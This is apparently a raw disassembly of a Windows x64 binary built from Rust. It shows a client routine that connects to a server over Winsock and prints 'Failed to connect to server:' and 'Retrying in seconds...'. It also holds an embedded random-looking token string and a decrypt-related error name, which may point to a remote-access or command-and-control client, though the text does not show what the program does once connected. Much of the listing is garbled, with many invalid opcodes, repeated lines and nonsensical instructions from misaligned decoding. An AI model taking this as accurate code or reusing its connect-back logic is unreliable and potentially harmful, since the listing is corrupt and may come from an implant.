add cl, ch
add eax, dword [rcx]
add byte [rax], al
lea rax, str.Bincode_does_not_support_the_serde::Deserializer::deserialize_any_methodH
add eax, 0x7b845
lea r8, [rsp + 0x58]
and al, 0x58
mov qword [r8], rax
mov qword [r8 + 8], 1
mov qword [r8 + 0x10], 8
adc byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
sbb cl, bpl
cmc
add byte [rax], al
invalid
push rdi
rol byte [rcx + 0xf], 0x11
sbb cl, bpl
cmc
add byte [rax], al
add byte [rax - 0x7d], cl
add rcx, 8
lea rax, [rsp + 0x20]
add rcx, 8
lea rax, [rsp + 0x20]
mov qword [rax], rcx
lea rcx, [rsp + 0x38]
mov qword [rcx], rax
add dword [rax - 0x73], ecx
add eax, 0xffeb7993
add dword [rax - 0x73], ecx
add eax, 0xffeb7993
lea eax, case.0x1400089d2.68
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
add eax, 0x7b73a
mov qword [rcx + 8], rax
lea rax, [0x1401d0dd0]
lea r8, [rsp + 0x58]
and al, 0x58
mov qword [r8], rax
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
invalid
and byte [rax], al
mov qword [r8 + 0x10], rcx
invalid
invalid
adc byte [rcx - 0x77], cl
sbb cl, bpl
jmp 0x140155765
lea rax, [rcx + 8]
invalid
invalid
jl 0x1401556e5
mov qword [r8 + 0x18], rax
jmp 0x140155765
lea rax, [rcx + 8]
lea rdi, [rsp + 0x30]
mov qword [rdi], rax
invalid
call 0x14001f3dd
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
xor byte [rax - 0x77], cl
invalid
and al, 0x20
mov qword [rcx], rax
mov qword [rcx + 8], rdx
push rcx
or byte [rax - 0x73], cl
and al, 0x38
mov qword [rax], rcx
lea rcx, [fcn.1401c5992]
add al, byte [rdi]
invalid
add al, byte [rdi]
add byte [rax - 0x77], cl
or byte [rax - 0x77], cl
js 0x1401556fd
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdi
lea rcx, [0x14001f252]
or eax, 0xffec9b5e
mov qword [rax + 0x18], rcx
lea rcx, [0x140262430]
invalid
adc byte [rax], al
jmp 0x140155747
mov rax, qword [rcx + 8]
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
lea rdi, [rsp + 0x30]
mov qword [rdi], rax
call 0x14001f3dd
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov dword [rcx + 8], edx
mov dword [rcx + 8], edx
push rcx
or byte [rax - 0x73], cl
and al, 0x38
lea rax, [rsp + 0x38]
mov qword [rax], rcx
lea rcx, [fcn.1401c5992]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdi
lea rcx, [fcn.140024bb0]
je 0x14015572e
in al, dx
dec dword [rax - 0x77]
invalid
invalid
lea rcx, [0x1401d0e28]
lea r8, [rsp + 0x58]
and al, 0x58
mov qword [r8], rcx
mov ecx, 2
or byte [rcx + 2], bh
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
add byte [rcx - 0x77], cl
invalid
invalid
mov qword [r8 + 0x18], rcx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
call fcn.140065769
push rax
call qword [rax - 0x773b7eb8]
add byte [rax], al
add byte [rdi + 0x5e], bl
push rax
call qword [rax - 0x773b7eb8]
add byte [rax], al
add byte [rdi + 0x5e], bl
ret
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
push rcx
or byte [rbx + rcx*4 + 0x41], cl
mov eax, dword [rcx + 0x10]
mov rcx, rsi
mov eax, dword [rcx + 0x10]
mov rcx, rsi
add rsp, 0x88
invalid
add byte [rax], al
pop rdi
pop rsi
jmp fcn.140025500
push 0xfffffffffffffffd
in al, dx
invalid
push 0xfffffffffffffffd
in al, dx
dec dword [rax - 0x73]
cmp byte [r8 - 0x73], cl
lea edx, [0x14024dab8]
lea edx, [0x14024dab8]
ret
add dword [rbp + rcx*4 + 5], ecx
add eax, 0x137138
movsxd rax, dword [r8 + rax*4]
cmp byte [rcx + 0x13], dh
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
ror dword [rbp + rcx*4 + 0x4c], 0x24
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
add eax, 0xf7bc5
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x14024d384]
add eax, 0xf7bad
mov r8d, 7
add byte [rax], al
jmp 0x140155870
mov es, word [rax]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.InputDhDecryptNotPresentNotUnicode
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add eax, 0xe9000000
add byte [rax], al
jmp 0x1401558b5
inc rcx
lea r9, [rsp + 0x30]
add byte [rax], al
jmp 0x1401558b5
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, str.Prereq
lea eax, str.Prereq
lea eax, str.Prereq
mov edx, 0x41000f7b
mov eax, 6
invalid
add byte [rax], al
invalid
mov r8d, 6
invalid
jmp 0x140155870
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0xf7bbc
and byte [rax - 0x73], cl
add eax, 0xf7bbc
mov r8d, 5
jmp 0x140155870
add byte [rax], al
add bl, ch
and al, 0x48
inc rcx
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0xf7b46
and byte [rax - 0x73], cl
add eax, 0xf7b46
mov r8d, 4
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
in eax, dx
call qword [rax + 0x38c48348]
pop rsi
in eax, dx
call qword [rax + 0x38c48348]
ret
mov rax, qword [rax + 0x18]
lea rdx, [0x14024d42d]
mov r8d, 2
add bl, ch
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf7b80
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14024d42f]
mov r8d, 7
mov eax, 7
add rsp, 0x38
jmp rax
sldt ebx
lea rax, [rcx + 0x38]
lea rdx, fcn.1401510c1
ret
ret
movabs rdx, 0x8000000000000000
xor rdx, qword [rax]
cmp rdx, 0xd
or eax, 0x1b9
add byte [rax + 0xf], cl
retf 0x8348
stc
invalid
je 0x14015591b
add byte [rax + 0xf], cl
retf 0x8348
cmp rcx, 3
je 0x14015590f
cmp rcx, 2
jne 0x140155927
stc
add dh, byte [rbp + 0x24]
add rax, 8
lea rdx, fcn.140009390
ret
add rax, 8
or byte [rax - 0x73], cl
adc eax, 0xf7dfe
lea rdx, fcn.140137625
ret
add rax, 8
lea rdx, [0x14024d790]
ret
xor eax, eax
ret
neg byte [rsi + rdi*8]
dec dword [rax - 0x73]
cmp byte [r8 - 0x73], cl
adc eax, 0xf82e6
ret
cmp eax, 4
and byte [rsi - 0x17], bl
jo 0x14015599e
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x77], r9b
enter 0xf48, 0xffffffffffffffba
clc
invalid
invalid
invalid
cmovb eax, ecx
mov rcx, rdx
lea rdx, [0x14028c918]
adc eax, dword [rax]
movsxd r8, dword [rdx + r8*4]
add r8, rdx
jmp r8
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, fcn.140009390
jnp 0x140155a41
add byte [rax - 0x77], cl
and al, 0x20
jnp 0x140155a41
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, str.Decoding
jmp 0x140155ad7
add byte [rax], al
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
adc eax, 0x10cd92
and byte [rax - 0x73], cl
adc eax, 0x10cd92
mov r8d, 0xb
jmp 0x140155b04
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rdx, str.Parameter
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
jmp 0x140155b04
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rdx, str.Limits
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add bl, ch
invalid
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rdx, str.Encoding
mov r8d, 8
jmp 0x140155b04
call fcn.14002b6a0
nop
add rsp, 0x38
ret
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 0x13
mov rcx, r15
call fcn.14002a220
mov rdi, rax
test dil, 1
je 0x140157845
mov r8, qword [rbp + 0xe0]
mov r9, qword [rbp + 0xe8]
xor r10d, r10d
test r9, r9
je 0x1401577c7
cmp byte [r8], 0x3a
jne 0x14015780d
lea r11, [r8 + 1]
lea rsi, [r9 - 1]
mov rbx, rsi
mov r15, r11
xor ecx, ecx
test rbx, rbx
je 0x14015779a
lea rdx, [r15 + 1]
movzx r12d, byte [r15]
add r12d, 0xffffffd0
xor eax, eax
cmp r12d, 0xa
setb al
cmovb r15, rdx
sub rbx, rax
jmp 0x14015779c
xor eax, eax
cmp eax, 1
jne 0x1401577de
mov eax, ecx
mov dx, 0xa
mul dx
jo 0x1401577c9
add ax, r12w
setb dl
cmp r12d, 0xffff
ja 0x1401577c9
test dl, dl
jne 0x1401577c9
inc r10d
mov ecx, eax
jmp 0x140157777
jmp 0x14015780d
xor eax, eax
mov qword [rbp + 0xe0], r11
mov qword [rbp + 0xe8], rsi
mov r10d, eax
jmp 0x1401577f9
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], rbx
xor eax, eax
test r10d, r10d
setne al
mov r10d, eax
je 0x1401577cb
cmp r10w, 1
lea r12, [rbp - 0x50]
lea r15, [rbp + 0xe0]
mov bl, 0x3a
je 0x140157821
mov qword [rbp + 0xe0], r8
mov qword [rbp + 0xe8], r9
test r10w, r10w
je 0x140157845
movabs rax, 0xffffffff00
and rdi, rax
shr rdi, 8
movzx eax, cx
shl rax, 0x30
shl rdi, 0x10
or rdi, rax
push 1
pop rax
jmp 0x140157849
xor edi, edi
xor eax, eax
movzx ecx, di
or rcx, rax
cmp rcx, 1
jne 0x140157aaf
cmp qword [rbp + 0xe8], 0
jne 0x140159071
mov r12d, edi
shr r12d, 0x10
shr rdi, 0x18
xor r15d, r15d
mov eax, dword [rbp + 0x99c]
mov esi, eax
movzx eax, word [rbp + 0xaae]
mov ebx, eax
mov eax, dword [rbp + 0xae8]
mov qword [rbp + 0xb18], rax
mov eax, dword [rbp + 0xac8]
mov dword [rbp + 0x9b8], eax
mov rax, qword [rbp + 0xac0]
mov qword [rbp + 0x9b0], rax
mov al, byte [0x1402c6358]
xor ecx, ecx
push 0x20
pop rdx
call fcn.1401a7480
test rax, rax
je 0x1401596f0
mov word [rax], r15w
mov rcx, rdi
shl rcx, 8
movzx edx, r12b
or rdx, rcx
shr rdi, 0x18
mov word [rax + 6], di
mov dword [rax + 2], edx
mov rcx, qword [rbp + 0x9b0]
mov qword [rax + 8], rcx
mov ecx, dword [rbp + 0x9b8]
mov dword [rax + 0x10], ecx
and dword [rax + 0x14], 0
mov dword [rax + 0x18], esi
mov word [rax + 0x1c], bx
mov rcx, rax
add rcx, 0x20
mov qword [rbp + 0x7f0], rax
mov qword [rbp + 0x7f8], rax
mov qword [rbp + 0x800], 1
mov qword [rbp + 0x808], rcx
mov rax, qword [rbp + 0xb18]
mov dword [rbp + 0xae8], eax
mov eax, ebx
mov word [rbp + 0xaae], bx
mov eax, esi
mov dword [rbp + 0x99c], esi
lea r12, [rbp - 0x50]
mov rax, qword [rbp + 0x7f0]
mov rcx, qword [rbp + 0x7f8]
mov rdx, qword [rbp + 0x800]
mov qword [rbp + 0x450], rdx
mov rdx, qword [rbp + 0x808]
mov qword [rbp + 0x458], rdx
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], rcx
and qword [rbp - 0x50], 0
xor edi, edi
mov rax, qword [rbp + 0x448]
cmp rax, qword [rbp + 0x458]
je 0x140157bc9
lea rcx, [rax + 0x20]
mov qword [rbp + 0x448], rcx
movzx esi, word [rax]
cmp si, 2
je 0x140157bc9
mov ebx, dword [rax + 0x14]
mov edi, dword [rax + 0x18]
movzx r15d, word [rax + 0x1c]
movzx ecx, word [rax + 0x12]
mov word [rbp + 0x800], cx
movups xmm0, xmmword [rax + 2]
movaps xmmword [rbp + 0x7f0], xmm0
mov rax, qword [0x1402c62c8]
cmp rax, 3
je 0x1401579e9
call fcn.1401cb780
mov ecx, esi
call fcn.1401996c0
mov qword [rbp + 0xb18], rdx
test rax, rax
jne 0x140157a97
test si, si
je 0x140157a14
mov ax, 0x17
movups xmm0, xmmword [rbp + 0x7f2]
push 0x1c
jmp 0x140157a2b
movzx r15d, word [rbp + 0x7f4]
mov ebx, dword [rbp + 0x7f0]
xorps xmm0, xmm0
mov ax, 2
push 0x10
pop r8
rol r15w, 8
mov word [rbp + 0xe0], ax
mov word [rbp + 0xe2], r15w
mov dword [rbp + 0xe4], ebx
movups xmmword [rbp + 0xe8], xmm0
mov dword [rbp + 0xf8], edi
mov rbx, qword [rbp + 0xb18]
mov rcx, rbx
lea rdi, [rbp + 0xe0]
mov rdx, rdi
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140157bf1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, rbx
call qword [sym.imp.ws2_32.dll_closesocket]
mov qword [rbp + 0xb18], rsi
mov rcx, r12
call fcn.14013b1fa
mov rdi, qword [rbp + 0xb18]
mov qword [rbp - 0x50], rdi
jmp 0x14015798a
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 0x13
test rcx, rcx
jne 0x140159071
mov rax, qword [rbp + 0xe8]
test rax, rax
je 0x14015906f
mov rcx, qword [rbp + 0xe0]
dec rax
mov dl, byte [rcx]
inc rcx
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], rax
cmp dl, 0x5b
jne 0x14015906f
lea rcx, [rbp + 0x440]
mov rdx, r15
call fcn.14002a5c0
cmp byte [rbp + 0x440], 0
je 0x14015906f
mov eax, dword [rbp + 0x441]
mov qword [rbp + 0xb18], rax
lea rcx, [rbp + 0x44a]
mov rax, qword [rcx - 5]
mov qword [rbp + 0xa20], rax
mov eax, dword [rcx + 3]
mov dword [rbp + 0xa28], eax
mov r8, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
xor r12d, r12d
test rcx, rcx
je 0x140157d27
cmp byte [r8], 0x25
jne 0x140158f6d
lea r10, [r8 + 1]
lea r9, [rcx - 1]
xor esi, esi
mov rdi, r9
mov r11, r10
xor ebx, ebx
test rdi, rdi
je 0x140157b9d
lea rdx, [r11 + 1]
movzx r15d, byte [r11]
add r15d, 0xffffffd0
xor eax, eax
cmp r15d, 0xa
setb al
cmovb r11, rdx
sub rdi, rax
jmp 0x140157ba1
xor edi, edi
xor eax, eax
push qword [rcx]
rol byte [rbp + 0x31], 0xe4
xor r12d, r12d
cmp eax, 1
jne 0x140158f4a
mov eax, esi
push 0xa
pop rdx
mul edx
jo 0x140158f58
sahf
adc eax, dword [rax]
invalid
sahf
adc eax, dword [rax]
add byte [rcx + rax - 8], al
add eax, r15d
jb 0x140158f58
inc ebx
mov esi, eax
jmp 0x140157b7a
lea rcx, [rbp + 0x440]
call fcn.14000cc18
test rdi, rdi
lea rax, str.could_not_resolve_to_any_addresses
cmove rdi, rax
lea r15, [rbp + 0xe0]
mov bl, 0x3a
jmp 0x1401590de
lea rcx, [rbp + 0x440]
call fcn.14000cc18
mov rcx, r12
call fcn.14013b1fa
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xac0], rax
lea rax, [0x14024fc58]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 1
mov qword [rbp + 0x450], 8
movups xmmword [rbp + 0x458], xmm6
lea rsi, [rbp + 0x440]
mov rcx, rsi
call fcn.140198770
mov edx, 0xffff
lea rcx, [rbp + 0x980]
call fcn.1401c5a79
lea rax, [0x1402c6048]
mov qword [rbp + 0x7f0], rax
mov rax, qword [0x1402c6088]
cmp rax, 3
je 0x140157cb9
lea rax, [rbp + 0x7f0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x440], rdi
mov byte [rbp + 0xb15], 1
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001flazy_static_1.4.0_srcinline_lazy.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1402c6088]
xor edx, edx
mov r8, rsi
lea r9, fcn.140009390
call fcn.1401cace0
mov rbx, qword [rbp + 0x7f0]
mov rdx, qword [rbx + 8]
push rbx
or byte [rbx + rcx*4 + 0x43], cl
adc dh, al
test dword [0x141157cda], edx
push rbx
or byte [rbx + rcx*4 + 0x43], cl
adc dh, al
test dword [0x141157cda], edx
mov rcx, rsi
call fcn.140004a30
mov r15b, byte [rbx + 0x30]
mov rdx, qword [rbx + 0x20]
mov r12, qword [rbx + 0x28]
test r12, r12
je 0x140157d2c
mov qword [rbp + 0xad8], rdx
mov rax, r12
shr rax, 0x3e
jne 0x1401597a5
lea rdi, [r12 + r12]
push 1
pop rcx
mov rdx, rdi
call fcn.14013276d
test rax, rax
je 0x14015979c
mov qword [rbp + 0xb18], r12
push 1
add byte [rdx + 1], ch
pop rsi
mov rdx, qword [rbp + 0xad8]
jmp 0x140157d3d
jmp 0x140158f6d
xor edi, edi
xor eax, eax
mov qword [rbp + 0xb18], rax
test dword [rax], ebx
or eax, dword [rax]
add byte [rdx + 1], ch
test dword [rax], ebx
or eax, dword [rax]
add byte [rdx + 1], ch
pop rsi
mov rax, rsi
mov rcx, rax
mov r8, rdi
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbx + 0x38]
mov cl, byte [rbx + 0x3a]
mov rdx, qword [rbp + 0x450]
mov qword [rbp + 0xf0], rdx
movups xmm0, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0xe0], xmm0
mov rdx, qword [rbp + 0xb18]
mov qword [rbp + 0xf8], rdx
mov qword [rbp + 0x948], rdi
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], r12
mov byte [rbp + 0x110], r15b
mov byte [rbp + 0x110], bh
mov word [rbp + 0x118], ax
mov byte [rbp + 0x11a], cl
xor ecx, ecx
mov rdx, rsi
call fcn.140181f52
mov rsi, rax
xor eax, eax
lea rdx, [rbp + 0x440]
mov bl, 1
cmp rax, 0xa0
je 0x140157dd4
and qword [rbp + rax + 0x440], 0
add rax, 0x10
jmp 0x140157dbd
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmm1, xmmword [rbp + 0xf0]
lock add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x100], dl
movaps xmm3, xmmword [rbp + 0x110]
movaps xmmword [rbp - 0x20], xmm3
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x10], rsi
lea rax, fcn.140009390
mov qword [rbp - 8], rax
and qword [rbp], 0
and qword [rbp + 0x10], 0
and qword [rbp + 0x20], 0
mov r8d, 0xa0
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
and qword [rbp + 0xd0], 0
mov byte [rbp + 0xb14], bl
mov byte [rbp + 0xb13], bl
or eax, dword [rax]
add byte [rax - 0x77], cl
int1
or eax, dword [rax]
add byte [rax - 0x77], cl
int1
call fcn.140181faa
mov qword [rbp + 0xa98], rdx
test rax, rax
je 0x140159406
mov qword [rbp + 0xaf0], rax
mov rcx, rsi
lea rdx, [rbp - 0x18]
call fcn.140181fc6
mov qword [rbp + 0xb18], rdx
test rax, rax
je 0x14015940d
mov qword [rbp + 0xad8], rax
mov rcx, rax
mov rax, qword [rbp + 0xb18]
call qword [rax + 0x28]
sub byte [rax - 0x73], cl
invalid
loopne 0x140157e95
add byte [rax], al
mov rdx, rax
call fcn.1401c5a79
add byte [rax - 0x75], cl
invalid
fmul dword [rdx]
add byte [rax], al
mov rax, qword [rbp + 0xb18]
mov eax, dword [rbp + 0xb18]
sub byte [rax - 0x73], cl
invalid
mov eax, dword [rbp + 0xb18]
call qword [rax + 0x20]
lea rcx, [rbp + 0x440]
mov rdx, rax
call fcn.1401c5a79
mov rcx, qword [rbp + 0xad8]
mov rdx, qword [rbp + 0xaf0]
mov r8, qword [rbp + 0xa98]
mov rax, qword [rbp + 0xb18]
call qword [rax + 0x38]
mov rsi, qword [rbp + 0xe8]
mov rdi, qword [rbp + 0xf0]
add byte [rax], al
mov rcx, qword [rbp + 0xad8]
mov rax, qword [rbp + 0xb18]
call qword [rax + 0x48]
mov r9, rdx
lea rcx, [0x14025e898]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
int1
mov rdx, rdi
mov r8, rax
call fcn.1401c59a4
mov rsi, qword [rbp + 0x448]
mov rdi, qword [rbp + 0x450]
mov rcx, qword [rbp + 0xad8]
mov rax, qword [rbp + 0xb18]
call qword [rax + 0x40]
mov r9, rdx
lea rcx, [0x14025e8b0]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1401c59a4
mov rax, qword [rbp + 0xe0]
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax + 0xa], ebp
add byte [rax], al
mov dil, byte [rbp + 0xe8]
mov bl, byte [rbp + 0xe9]
mov esi, dword [rbp + 0xea]
movzx r12d, word [rbp + 0xee]
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0xae0], rax
mov rax, qword [rbp + 0x440]
mov qword [rbp + 0xad0], rax
mov r15, qword [rbp + 0x448]
mov rcx, qword [rbp + 0xad8]
mov rdx, qword [rbp + 0xb18]
call fcn.140038af3
out dx, al
push qword [rax + 0x14858801]
or eax, dword [rax]
add byte [rax + 0xb1385], cl
add byte [rax - 0x75], cl
invalid
lock or al, byte [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
cwde
or al, byte [rax]
add al, ch
sbb eax, 0x89ffee0b
fimul dword [rax - 0x48]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x68853948], al
or al, byte [rax]
add byte [rdi], cl
test byte [rsp + rdx], al
invalid
out dx, al
push qword [rax + 0x14858801]
or eax, dword [rax]
add byte [rax + 0xb1385], cl
add byte [rax - 0x75], cl
invalid
movzx eax, dil
movzx ebx, dl
shl r12, 0x20
or r12, rsi
shl r12, 0x10
or r12, rax
shl ebx, 8
or rbx, r12
mov rcx, qword [rbp + 0xad0]
mov rdx, r15
call fcn.14006095a
push 0xa
pop rax
mov rcx, rax
lea rdx, [rbp + 0x7f0]
mov rdi, rdx
lea r12, [rbp - 0x50]
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
lea rdi, [rbp + 0x850]
lea rsi, [rbp + 0x10]
rep movsq qword [rdi], qword [rsi]
push 0xe
pop rcx
mov rdi, qword [rbp + 0x7c8]
mov rsi, qword [rbp + 0x7d0]
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x840], rbx
mov rax, qword [rbp + 0xae0]
mov qword [rbp + 0x848], rax
lea rax, str.VldnONB5SGsBZN4870NUdWyH1H37KiK7connected..._n
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0x8a8], 0x20
add byte [rax], al
add byte [rax - 0x77], cl
popfq
sbb byte [rbx], cl
add byte [rax], al
mov qword [rbp + 0xa90], rbx
mov byte [rbp + 0xb12], 1
lea rcx, [rbp + 0x440]
call fcn.14018562e
lea r15, [rbp + 0xe0]
mov rdi, qword [rbp + 0x440]
mov sil, byte [rbp + 0x448]
mov bl, byte [rbp + 0x449]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x1401594ac
mov r8d, 0x34e
lea rcx, [rbp + 0xea]
lea rdx, [rbp + 0x44a]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xe0], rdi
mov byte [rbp + 0xe8], sil
mov byte [rbp + 0xe9], bl
mov r8, qword [rbp + 0x988]
mov rbx, qword [rbp + 0x990]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xab8], rax
mov al, 1
mov byte [rbp + 0xb17], al
mov byte [rbp + 0xb16], al
lea rcx, [rbp + 0x440]
mov rdx, r15
mov qword [rbp + 0xad8], r8
mov r9, rbx
call fcn.14018a090
cmp byte [rbp + 0x440], 0
jne 0x1401594d5
mov r8, qword [rbp + 0x448]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xab8], rax
mov al, 1
mov byte [rbp + 0xb17], al
add byte [rax + 0xb1685], cl
add byte [rax - 0x75], cl
invalid
fmul dword [rdx]
add byte [rax], al
mov rdx, rbx
lea r9, str.srcclient.rs
call fcn.14015af46
add byte [rcx - 0x77], cl
ror byte [rax - 0x75], 1
mov ch, 0xc0
or al, byte [rax]
add byte [rax - 0x75], cl
lea ebx, [rax]
or eax, dword [rax]
add byte [rax - 0x77], cl
lea edi, [rax - 0x4efffff6]
add dword [rax + 0xb178d], ecx
add byte [rax + 0xb168d], cl
add byte [rax - 0x77], cl
int1
mov rdx, rax
call fcn.14015af66
mov rdi, rax
test rax, rax
jne 0x14015950d
add byte [rax + 0xb1685], cl
add byte [rax - 0x75], cl
invalid
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xab8], rax
mov al, 1
mov byte [rbp + 0xb17], al
invalid
or eax, dword [rax]
add byte [rax + 0xb1685], cl
add byte [rax - 0x73], cl
lea esi, [rax + 0xa]
add byte [rax], al
lea rdx, [rbp + 0xac0]
call fcn.14015afee
mov rdi, qword [rbp + 0xa70]
movabs rax, 0x8000000000000000
cmp rdi, rax
mov qword [rbp + 0xa98], rdi
jne 0x14015835b
invalid
lea rax, [rbp + 0xa78]
mov qword [rbp + 0x9c0], rax
lea rax, [rbp + 0x9c0]
mov qword [rbp + 0x7f0], rax
lea rax, [0x1401550a0]
mov qword [rbp + 0x7f8], rax
lea rax, str.Failed_to_connect_to_server:
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 2
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
invalid
add al, 0
add byte [rax], al
lea rax, [rbp + 0x7f0]
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
invalid
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], 1
add byte [rax], al
add byte [rax], al
mov rdi, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rdi
mov bl, 1
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
add byte [rax], al
lea rcx, [rbp + 0x440]
call fcn.140198770
mov qword [rbp + 0xa20], r13
lodsd eax, dword [rsi]
and byte [rdx], cl
add byte [rax], al
lea rax, [rbp + 0xa20]
mov qword [rbp + 0x7f0], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x7f8], rax
lea rax, str.Retrying_in__seconds..._n
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 2
and qword [rbp + 0x460], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0x7f0]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], 1
mov qword [rbp + 0xb08], rdi
add byte [rax], al
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
lea rcx, [rbp + 0x440]
call fcn.140198770
mov rcx, r13
xor edx, edx
call fcn.14018d010
mov qword [rbp + 0xb08], rdi
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, r13
call fcn.140169ee9
mov r13, rax
cmp rax, 0x3c
push 0x3c
pop rax
cmovae r13, rax
mov dil, 1
test eax, esi
invalid
jmp 0x140158ea5
mov rax, qword [rbp + 0xa78]
mov qword [rbp + 0xae0], rax
or al, byte [rax]
add byte [rax - 0x75], cl
mov ch, 0x80
or al, byte [rax]
add byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
mov ch, 0x80
or al, byte [rax]
add byte [rcx - 0x48], al
add dword [rax], 0x8d480000
lea rcx, [rbp + 0x440]
lea rcx, [rbp + 0x440]
lea rdx, [rbp + 0x198]
call sub.VCRUNTIME140.dll_memcpy
loop 0x14015838e
add byte [rcx - 0x4b], al
add al, 0x48
cmp esi, 0xffff
mov dl, 1
ja 0x140159515
mov r13b, 3
cmp byte [rbp + 0x436], 0
jne 0x14015951a
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x270]
mov qword [rbp + 0xad0], rcx
cmp rcx, rax
jae 0x140159521
mov qword [rbp + 0x950], rax
mov qword [rbp + 0x7d8], rbx
add byte [rax - 0x75], cl
lea edi, [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 1], eax
add byte [rax], al
add byte [rax - 0x75], cl
lea edi, [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 1], eax
add byte [rax], al
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 0x20]
mov rdi, qword [rbp + 0xb18]
